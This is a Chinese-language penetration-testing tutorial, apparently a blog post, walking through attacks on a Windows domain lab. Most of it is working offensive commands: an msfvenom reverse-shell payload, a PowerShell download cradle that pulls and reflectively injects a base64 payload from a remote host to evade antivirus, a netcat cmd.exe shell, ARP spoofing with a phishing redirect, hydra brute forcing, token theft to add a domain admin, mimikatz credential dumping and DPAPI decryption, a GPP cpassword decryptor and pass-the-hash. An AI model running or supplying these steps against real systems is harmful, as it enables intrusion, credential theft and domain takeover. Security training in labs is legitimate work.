内网渗透一周目通关

这篇具有很好参考价值的文章主要介绍了内网渗透一周目通关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

内网渗透提前是我们已经通过各种手段拿到内网中某一台可以通向外网的服务器或主机的权限,然后把此当作跳板,内网渗透的目的是拿到DC域控制器的权限,达到控制整个域环境

域环境

域基础知识

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

域控制器(DC):

域控制器是指在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。

父域和子域:

出于管理以及其他的要求,需要在网络中划分多个域!第一个域为父域,各部分域成为子域。

域树:

指若干个域通过建立信任关系组成的集合。

域名服务器:

是指用于域名和与之对应ip地址之间转换的服务器。

一般内网渗透时,就是寻找DNS服务器来定位DC,DC和DNS服务器一般在一台机器上。

域内权限

域本地组:

域本地组的成员可以来自森林中的任何域,域本地组用来访问同一域中的资源。在本机模式中的域本地组可以包含森林中任意域内的用户账户、全局组和通用组以及同一域内的域本地组。

域全局组:

可以嵌套在其他组中,可以再域森林的任何域内指派权限。

域通用组:

通用组是集合了上面两种组的优点,即可以从任何域中添加用户和组,可以嵌套于其他域组中。

域环境的搭建

配置环境:

主域:windows server 2008

主机:windows server 2003

搭建步骤:

1. 查看自己的ip地址,将dns服务器设置为自己的ip地址

内网渗透一周目通关

2.添加域服务

内网渗透一周目通关

选择服务器管理——>角色——>添加角色——>Active Directory域服务器,下一步即可

3.运行输入dcpromo,创建域

内网渗透一周目通关

内网渗透一周目通关

内网渗透一周目通关

内网渗透一周目通关

 然后一直选择是,下一步,设置一个属于自己的密码,等待安装完成即可

4.将计算机加入域网络

首先将dns设置为主域的ip地址,之后点击计算机名->更改->选择域,输入主域的账号密码即可成功加入域

内网渗透一周目通关

 登录域控 域控名\用户名

内网渗透一周目通关

内网信息搜集

查看网络配置

  • Windows系统:ipconfig /all                                                          

 • Linux系统:ifconfig

查看操作系统信息

• Windows系统:systeminfo | findstr OS

• Linux系统:uname –a 或 cat /proc/version

查看安装的软件及版本

• Windows系统: wmic product get name,version

查看本机服务信息

• Windows系统:wmic service list brief 或 net start

• Liunx系统 :service --status-all

    • + 表示服务正在运行;

    • - 表示服务已停止;

    • 服务状态:service 服务名 status

查看进程列表

• Windows系统

    • 查看进程:tasklist

    • 查看某一个进程: tasklist | findstr “ftp”

    • 查看进程:wmic process get name,processid

查看进程列表

• Linux系统

    • 查看进程: ps –aux 或 ps –ef

    • 搜索某个进程: ps –aux | grep ftp

查看启动信息

• Windows系统:wmic startup get command,caption

• Linux系统:dmesg

查看任务计划

• Windows系统:at 或 schtasks

    • net start 可以查看对应的计划任务服务task scheduler是否启动

• Linux系统: crontab -l

查看开机时间

• Windows系统:net statistics workstation

• Linux系统:cat /proc/uptime

查看用户列表

• Windows系统:

    • 查看本即用户列表:net user

    • 查看本地管理员信息:net localgroup administrators

    • 查看当前在线用户:query user || qwinsta

• Linux系统

    • 查看所有用户: cat /etc/passwd

    • 查看用户组: cat /etc/group

查看端口列表

• Windows系统: netstat –ano

• 根据pid结合tasklist可以找到具体的程序

• Linux系统: netstat –antpl

查看补丁列表

• Windows系统

    • systeminfo

    • wmic qfe get caption,description,hotfixid,installedon

查看本机共享列表

  • Windows系统

    • net share

    • wmic share get name,path,status

查看路由表及ARP信息

• Windows系统

    • route print

    • arp -a

• Linux系统:

    • arp –a

    • route

查看防火墙相关配置

• Windows Server 2003之后:

    • 查看防火墙配置: netsh firewall show config

    • 打开防火墙配置: netsh advfirewall set allprofiles state on

    • 关闭防火墙配置: netsh advfirewall set allprofiles state off

    • 修改防火墙配置:

允许程序入站:• netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

• 允许指定程序出站 :• netsh advfirewall firewall add rule name="out nc" dir=out action=allow program="C:\nc.exe"

• 允许RDP(3389)端口放行: netsh advfirewall firewall add rule name="Remote

Desktop" protocol=TCP dir=in localport=3389 action=allow

开启和关闭远程桌面

• 打开远程桌面:

• REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 0 /f

• 关闭远程桌面:

• REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 1 /f

• 查看远程桌面开启状态:

• REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v

fDenyTSConnections /t REG_DWORD

查看当前用户权限

• Windows/Linux系统:whoami

查看域信息

• Windows系统

• ipconfig /all :查看网关地址、DNS的IP地址、域名、本即是否DNS服务器处于一个网段

• nslookup +域名 :解析出的域名服务器的IP地址和DNS服务器IP是否一致;

• systeminfo :确定用户的登陆域

查看域信息

• 判断是否在主域: net time /domain

• 依据:域服务器通常会同时作为时间服务器使用

• 注意:需要在域用户登录的机器中查看

• 查询当前登录域及登录用户信息: net config workstation

域信息收集——查询域内所有用户

• 查询域内所有用户:net group /domain

• 注意:在域用户登录的机器中查看

查询域成员机器

• 查询域成员计算机:net group “domain computers”/domain

获取域密码策略信息

• 获取域密码策略信息:net accounts /domain

获取域信任信息

• 获取域信任信息:nltest /domain_trusts

查询域内用户和管理员——查询用户列表

• 向域控制器查询:net user /domain

• 获取域内用户详细信息 :wmic useraccount get /all

• 查询存在用户 :dsquery user

• 查询本地管理员组用户:net localgroup administrators

查询管理员用户组

• 查询域管理员用户:net group “domain admins” /domain

• 查询管理员用户组:net group “Enterprise admins” /domain

端口收集

端口号 端口说明 攻击技巧
21/22/69 ftp/tftp:文件传输协议 爆破\嗅探\溢出\后门
22 ssh:远程连接 爆破OpenSSH;28个退格
23 telnet:远程连接 爆破\嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名系统 DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
67/68 dhcp 劫持\欺骗
110 pop3 爆破
139 samba 爆破\未授权访问\远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击\未授权访问
512/513/514 linux r 直接使用rlogin
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令\信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录\注入攻击
1521 oracle 爆破:TNS\注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破\拒绝服务\注入
3389 rdp 爆破\Shift后门
4848 glassfish 爆破:控制台弱口令\认证绕过
5000 sybase/DB2 爆破\注入
5432 postgresql 缓冲区溢出\注入攻击\爆破:弱口令
5632 pcanywhere 拒绝服务\代码执行
5900 vnc 爆破:弱口令\认证绕过
6379 redis 未授权访问\爆破:弱口令
7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 web 常见web攻击\控制台爆破\对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破:控制台弱口令\Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破\未授权访问

存活主机扫描

nbtscan(非常轻量):

nbtscan.exe 192.168.229.0/24

内网渗透一周目通关

 nmap

nmap -sP 192.168.229.0/24

内网渗透一周目通关

duan

使用手册

arp-scan

sudo arp-scan 192.168.229.0/24

内网渗透一周目通关

Powersploit框架

powersploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于信息侦察、权限提升、权限维持

下载地址

该脚本有以下模块

Get-NetDomain               #查看域名称
Get-NetDomainController     #获取域控的信息
Get-NetForest               #查看域内详细的信息
Get-Netuser                 #获取域内所有用户的详细信息
Get-NetUser | select name   #获得域内所有用户名
Get-NetGroup        #获取域内所有组信息
Get-NetGroup | select name  #获取域内所有的组名
Get-NetGroup *admin* | select name   #获得域内组中带有admin的
Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息
Get-NetGroup -UserName test   #获得域内组中用户test的信息
 
Get-UserEvent        #获取指定用户日志信息
Get-NetComputer             #获取域内所有机器的详细信息
Get-NetComputer | select name   #获得域内主机的名字
Get-Netshare                #获取本机的网络共享
Get-NetProcess              #获取本机进程的详细信息
Get-NetOU                #获取域内OU信息
Get-NetFileServer      #根据SPN获取当前域使用的文件服务器
Get-NetSession         #获取在指定服务器存在的Session信息
Get-NetRDPSESSION           #获取本机的RDP连接session信息
Get-NetGPO           #获取域内所有组策略对象
Get-ADOBJECT                #获取活动目录的信息
Get-DomainPolicy       #获取域默认策略
 
Invoke-UserHunter           #查询指定用户登录过的机器
Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息
Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限
Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器

 PowerView脚本本地包含

powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain

内网渗透一周目通关

 远程包含(自己搭建网站放上脚本位置)

powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.229.1/PowerView.ps1');import-module .\powerview.ps1;Get-NetDomain

内网渗透一周目通关

端口扫描脚本 Invoke-Portscan.ps1

powershell -exec bypass Import-Module .\Invoke-Portscan.ps1;invoke-portscan -hosts 192.168.229.1,192.168.229.254 -ports '22,23,80,445'

内网渗透一周目通关

 利用Invoke-ReflectivePEInjection实现powershell无文件落地运行

利用反射加载可以躲过某些杀毒软件的检测

msf生成木马文件(注意靶机是多少位就生成多少位的,32位用在64位系统也不可以,否则会报错)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.229.132 lport=12345 -f exe >shell.exe 

以下在powershell中执行

远程加载Powersploit的PE反射模块

iex(New-Object Net.WebClient).DownloadString('http://192.168.229.1/Invoke-ReflectivePEInjection.ps1')

继续加载base64编码后的payload,赋值给一个变量

$b64Str = (New-Object Net.WebClient).DownloadString('http://192.168.229.1/a.txt')

python base64编码程序

import base64
with open(r'C:\Users\11502\Desktop\shell.exe','rb') as f:
    print(base64.b64encode(f.read()).decode('utf-8'))

靶机解码payload

$PEBytes = [System.Convert]::FromBase64String($b64str)

反射调用

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

以下在cmd中执行(为整合版只有一条长代码)

powershell "$b64Str = (New-Object Net.WebClient).DownloadString('http://192.168.229.1/a.txt');iex(New-Object Net.WebClient).DownloadString('http://192.168.229.1/Invoke-ReflectivePEInjection.ps1');$PEBytes = [System.Convert]::FromBase64String($b64Str);Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR"

执行结果:

内网渗透一周目通关

 msf上线提示:

内网渗透一周目通关

内网代理穿透

netcat瑞士军刀

nc建立会话通信

服务端 nc.exe -lp 12345
连接端 nc.exe 192.168.229.134 12345

内网渗透一周目通关

 nc进行端口扫描

nc -vz -w 2 192.168.229.134 80 

内网渗透一周目通关

 nc传输文件

发文件:nc -lp 12345 <1.txt
收文件:nc 192.168.229.134 >haha.txt

内网渗透一周目通关

nc建立中断会话

服务端:nc-lp 12345 -t -e cmd.exe
连接:nc 192.168.229.134 12345

内网渗透一周目通关

 termite

termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适应性更强,也更为方便

程序分为admin(控制端)和代理节点agent

-l指定本地socks端口

-c指定远程机器ip

-p指定远程机器Socks端口

内网环境拓扑图:

内网渗透一周目通关

2个框分别代表2个网络中含有的机器

将2个系统全部开启agent监听

内网渗透一周目通关

 通过控制端进行连接

内网渗透一周目通关

 通过show命令展示连接的节点,id=0是攻击机,通过goto命令将节点转移到id=1(server 2003)

内网渗透一周目通关

 通过conncet命令连接到win7内网渗透一周目通关

 使用shell命令执行win7终端

内网渗透一周目通关

 通过shell命令本地开放8899端口,将数据转发到8899端口用nc连接执行

端口转发lcxtran

内网渗透一周目通关

将3389转发到1188端口上,通过127.0.0.1:1188进行连接 

总结:以上是termite的基本用法,termite是一个多系统通用的软件,包含许多其他的版本,这里只演示了windows

SSH代理

内网渗透一周目通关

正向代理:

如图host a和b能通信b和c能通信,我们就可以通过ssh正向代理将端口转发到本机上,从而访问c的端口

格式 ssh -L 要转发到本地的端口号:要转发的ip:要转发的ip对应的端口 中间服务器的ip@服务器用户名

实验环境:

kali和ubuntn相连 ubuntn和server 2003相连

内网渗透一周目通关

 192.168.229.134:82为2003的网站ip   192.168.229.136为服务器ip

反向代理

将本地端口转发到内网端口

通过python开启一个http服务器

python3 -m http.server

通过一下命令

ssh -R 192.168.229.139:8001:127.0.0.1:8000 webper@192.168.229.136

将kali的8000端口转发到内网的8001端口

内网渗透一周目通关

但是会被中间主机给拦下,不会转发到内网服务器,需要做进一步的端口转发

ssh socks代理

连接上socks代理之后,我们便可以利用公网主机的流量访问外网,或者利用proxychains扫描内网主机

ssh -D 8080 webper@192.168.229.136

修改proxychains配置文件进行代理

vim /etc/proxychains.conf

内网渗透一周目通关

msf多级网络穿透(推荐)

msf可以和许多模块进行联动,比较推荐

ipconfig查看有几个网段,添加autoroute路由 background调用想要的模块即可,只要是在msf之内的任何模块都会自动转发这个路由

内网渗透一周目通关

启动socks4(建议选择版本socks4)

内网渗透一周目通关

设置srvhost默认端口1080 run启动

修改proxychains端口 使用 nmap扫描即可

使用永恒之蓝漏洞利用获取权限

内网渗透一周目通关

横向渗透

在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。
进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口(漏洞扫描及利用)、敏感数据(如ftp链接记录、浏览器访问记录、各服务保存的密码、数据库等)
服务攻击:爆破、漏洞利用、欺骗、钓鱼

系统漏洞

可以利用系统漏洞直接获取内网主机权限,如ms17010,ms08067以及最2020-0796等漏洞,根据systeminfo查询补丁进行漏洞对比

流量监听工具

常用工具

cain

wireshark

ettrcap

监听内容:(未加密的一些协议)

  • 服务连接密码
  • 网站登录密码
  • 敏感数据

利用cain进行arp欺骗

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。

局域网中的主机1与主机2通信,主机1会先发送ARP请求包(请求包中有2的IP地址),2发送ARP响应包给1,1获得主机A的MAC地址,1利用MAC地址给2传输数据。这里主机A通过使用Abel&cain软件,主动给目标B发送ARP回应包(数据包中携带IP为网关的IP,MAC是A主机的MAC),让目标B更新自己的ARP缓存表。更新后B本地ARP表中网关的MAC地址就是主机A的MAC地址,在主机B看来网关就是A,达到欺骗局域网中某个特定目标的目的。

运行cain,选择configration ,在snipper中选择自己的网卡,点击确定

内网渗透一周目通关

点击 start snipper 按钮在sniffer界面右键选择scan MAC address 扫描内网中存存活主机

内网渗透一周目通关

在APR界面点击加号选择我们要劫持的ip地址点击ok

内网渗透一周目通关

 单击start arp按钮进行劫持,如果登录http网站password界面就会显示账号密码

内网渗透一周目通关

 arp界面也会显示访问的协议

内网渗透一周目通关

利用wireshark进行流量分析

通过arp劫持让流量都经过本机,wireshark可以抓到内网中所有的流量包,包括其他电脑之间的交互,但是仅限于内网主机之间交互的流量包

利用过滤器抓取ftp协议包

内网渗透一周目通关

会发现user和pass数据包中都有显示,同理也可以抓telnet协议

过滤来源 ip

ip.src ==你的ip

过滤目标ip

ip.dst ==你的ip

wireshark过滤表达式

利用NetFuke进行arp劫持进行flash钓鱼攻击

设置嗅探

内网渗透一周目通关

 设置arp欺骗ip

内网渗透一周目通关

 设置插件修改器,设置html.body跳转到flash钓鱼网页

内网渗透一周目通关

开始运行,此刻被arp劫持的主机无论访问什么网站都会自动跳转到我们flash钓鱼网站

内网渗透一周目通关

 靶机用的ie浏览器所以显示不出来,正常情况下诱导下载shell文件等待上线即可

EvilFocaSetup

也是arp欺骗工具,可以自动扫描内网主机

内网渗透一周目通关

ettercap

ettercap是linux平台的arp劫持工具

启动Ettercap

在kali的终端中输入

ettercap -G

点击右上角的勾号

内网渗透一周目通关

扫描局域网中存在的主机

内网渗透一周目通关

选中网关点击 Add to Target1

选中靶机点击 Add to Target2

 内网渗透一周目通关

选择arp poisoning开始arp劫持

启动界面

开启嗅探 Sniffing at startup
选择网卡 Primary interface
是否开启桥接模式 Bridged sniffing
桥接模式下的网卡 Bridged interface

 中间人攻击菜单

ARP poisoning ARP攻击
DNP poisoning DNP攻击
ICMP redirect ICMP重定向攻击
Port stealing 端口欺骗
DHCP spoofing DHCP欺骗
stop MITM attack(s) 停止攻击
SSL intercept SSL嗅探

 密码爆破攻击

hydra

hydra是一个自动化的爆破工具,暴力破解弱密码,支持众多协议,已经集成到KailLinux中,直接在终端打开即可。
hydra支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQ

参数列表

-l:指定单个用户名,适合在知道用户名爆破密码时使用
-L:指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径) 用户字典
-p:指定单个密码,适合在知道密码爆破用户名时使用
-P:指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径) 密码字典
-C:当用户名与密码存储到一个文件时使用此参数,注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。
-M:指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"
-t:指定爆破时的任务数量(可以理解为线程数),默认为16
-s:指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
-S:指定爆破时使用SSL连接
-e:空密码探测和指定用户密码探测(ns)
-R:继续从上一次爆破进度上继续爆破
-v/-V:显示爆破的详细信息
-f:一但爆破成功一个就停止爆破
-o:将找到用户密码对写入文件中而不是stdout
-4/-6:use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
server:代表要攻击的目标IP(单个),多个目标时请使用 -M 参数
OPT:爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

hydra爆破telnet密码

hydra -l administrator -P /home/kali/Desktop/pass.txt -t 30 -vV telnet://192.168.229.143

内网渗透一周目通关

爆破成功后都会以绿色显示

hashcat

Hashcat是一个密码恢复工具。直到2015年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法
我们可以使用hashcat --help获取帮助

内网渗透一周目通关

我们可以使用.\hashcat -a来选择破解密码的模式,后面接不同的参数代表着不同的破解方式

内网渗透一周目通关

 -a代表选择攻击模式    -m选择破解的类型

使用hashcat加载字典破解hash值

hashcat /home/kali/Desktop/a.txt -m 0 -a 0 /home/kali/Desktop/pass.txt

 爆破成功会返回结果

内网渗透一周目通关

 john

john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如 DES 、 MD4 、 MD5 等。 John 支持字典破解方式和暴力破解方式。它支持多种不同类型的系统架构,包括 Unix 、 Linux 、 Windows 、 DOS 模式、 BeOS 和 OpenVMS ,主要目的是破解不够牢固的 Unix/Linux 系统密码。

使用默认字典破解加密linux密码

将etc/passwd保存到1.txt

内网渗透一周目通关

 破解windows密码

使用pwdump导出windows的密码

 内网渗透一周目通关

 使用john破解

内网渗透一周目通关

爆破phpmyadmin密码

内网渗透一周目通关

psexec

PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。

PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
可以用在爆破成功密码之后

连接主机cmd

psExec.exe \\192.168.229.134 -u adminsitrator -p 123456 cmd

内网渗透一周目通关

 使用incognito劫持身份提升权限

incognito.exe -h 192.168.229.134 -u administrator -p 123456 list_tokens -u #查找03的可用身份进行劫持

内网渗透一周目通关

incognito.exe -h 192.168.229.134 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe #劫持system权限

内网渗透一周目通关

域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
查找被攻击的计算机中是否有DC的token
incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u#利用DA的token创建新的DC,调用DC的cmd.exe
incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c 'XY\ADMINISTRATOR' cm
d.exe#执行创建DC命令
net user hh 123.com /add /domain
net group 'domain admins' hh /add /domain

内网渗透一周目通关

本地rdp密码读取

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

包括的范围有下面这些:

  • IE、Chrome的登录表单自动完成
  • Powershell加密函数
  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。
  • FTP管理账户密码
  • 共享资源文件夹的访问密码
  • 无线网络帐户密钥和密码
  • 远程桌面身份凭证
  • EFS
  • EAP/TLS 和 802.1x的身份凭证
  • Credential Manager中的数据
  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。

其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。

Master Key Files

存放密钥的文件叫做Master Key Files,

用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%

系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.

本地演示:

远程桌面连接并保存凭据内网渗透一周目通关

 运行cmdkey /list查看保存的凭据

内网渗透一周目通关

查找本地的Credentials目录文件,记住文件名

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

内网渗透一周目通关

 使用mimikatz获取guidmasterkey

privilege::debug #提升权限
dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B  #最后这串地址就是获取到的Credentials目录下的文件

内网渗透一周目通关

 有时mimikatz是不能标记复制的,使用以下命令可以将结果存储下来

mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt

通过我们记录的guidmastkey来找到对应的mastkey,mimikatz执行以下命令获取账号密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\A47CA779D8B065E5E81B05EC6C58173B /masterkey:e9ee6204ad79bad9ba20e5c474b830ed84e68d1207bcc9f8bb94c49e10a375a0e9b6523acd6abadd8d1257b8b7294fc05541cf276ff8e3475e72c5c3cd17c9ca

#路径要替换为上面代码的路径  masterkey是刚找到的

内网渗透一周目通关

这里会看到我们连接的账号密码以及ip地址

域环境渗透

Kerberos与NTLM

kerberos协议介绍

内网渗透一周目通关

DS(domain server), 存储了每个域用户的口令散列值 NTLM 。根据功能划分, DC 包含两个模块, AS,TGS.
AS(AUTHENTICATION SERVER) ,认证用户,用户使用 NTLM 加密时间戳,进行认证。发布认证票据。
TGS(Ticket Granting Service ),根据认证票据,发布授权票据。认证票据可以多次循环使用。

TGT是验证你是否是域的用户,如果验证到是域的用户就给你颁发TGS,你可以带着你的TGS去访问域的内容

TGT就是所谓的黄金票据,TGS就是白银票据,其中TGS具有时效性

NTLM

1、NTLMHash:将明文口令转换成十六进制,转换成Unicode格式,然后对Unicode字符串进行MD4加密,这个结果就是32位的十六进制NTLMhash。

2、NTLM协议认证过程
1、客户端向服务器发送包含 “登录名”的请求
2、服务端接收到请求后,生成16位的随机说,这个随机数称为的 Challenge,把Challenge以明文发送给客户端;同时使用“登录名”对应的NTLMHash加密 Challenge,生成 CHallenge1。
3、客户端使用NTLMhash对 Challenge 进行加密,生成 Response ,然后把 Response 发送给客户端
4、服务端接收到 Response 之后,和Challenge1 进行比对,若相等则认证通过。
内网渗透一周目通关

域安全策略攻击测试 GPP 漏洞利用

Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,批量修改域内机器的本地管理员账号名称与密码。
1.新建组织单位xyz,将域用户放入xyz,组策略是以组织单位为单位,所以可以看到新建的xyz

内网渗透一周目通关

2.新建GPO命名为test,编辑test添加一个修改密码的策略

内网渗透一周目通关

gpupdate /force #快速更新策略 默认五分钟更新

 3.使用xyz用户登录域内主机,找到如下路径

\\kaeiy.com\SYSVOL\kaeiy.com\Policies\

管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,即Groups.xml,该文件中保存了该组策略更新后的密码。

根据详细信息中的唯一ID选择对应的文件夹

内网渗透一周目通关

 找到文件路径下的Groups.XML文件打开,保存其中的cpassword

{3BA919DA-407E-4780-98F8-B8C2BC3E37C8}\User\Preferences\Groups

内网渗透一周目通关

此为aes256加密,但是微软公司将其加密的秘钥公开了,所以很容易破解

密码破解方式

powershell脚本

内网渗透一周目通关


    function Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword 
        )

        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
            
            switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ('=' * (4 - $Mod))}
            '3' {$Cpassword += ('=' * (4 - $Mod))}
            }

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
        
        catch {Write-Error $Error[0]}
    }  
Get-DecryptedCpassword "haNeFLuCPPa42VoahM8WYQ"
   

 kali自带gpp-decrypt 

内网渗透一周目通关

漏洞原因:管理员可以通过在组策略首选项中一键给域中计算机下发策略,其策略信息如组策略数据、域数据存储在SYSVOL文件夹中,域用户都可以访问该文件夹。若通过组策略修改域内机器管理员密码,其密文信息会保存在SYSVOL文件夹内。攻击者如果获取了该密码信息就可以破解,相当于就获取到了管理员密码
局限性:win < = 2008r2或没有打 KB2962486补丁

PTH(Pass The Hash)哈希传递攻击

PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。

windows登录认证机制

(1):首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地

(2)客户端将username明文传输到域控主机

(3):然后域控会随机生成16字节的challenge挑战码返回给客户端

(4):客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器

(5):服务端将客户端发来的信息转发给域控

(6):域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并且使用自己存储的password的hash对对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则就验证失败

哈希传递的原理

NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在windows中,Hash的结构通常如下

username:RID:LM-HASH:NT-HASH
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit >>1.txt

mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >>log2.txt

#使用任意一条命令获取hash

内网渗透一周目通关

mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:kaeiy /user:kaeiy /ntlm:c9bd8134aa59332ae5b6acd
#替换相应的域 用户名和ntml hash

内网渗透一周目通关

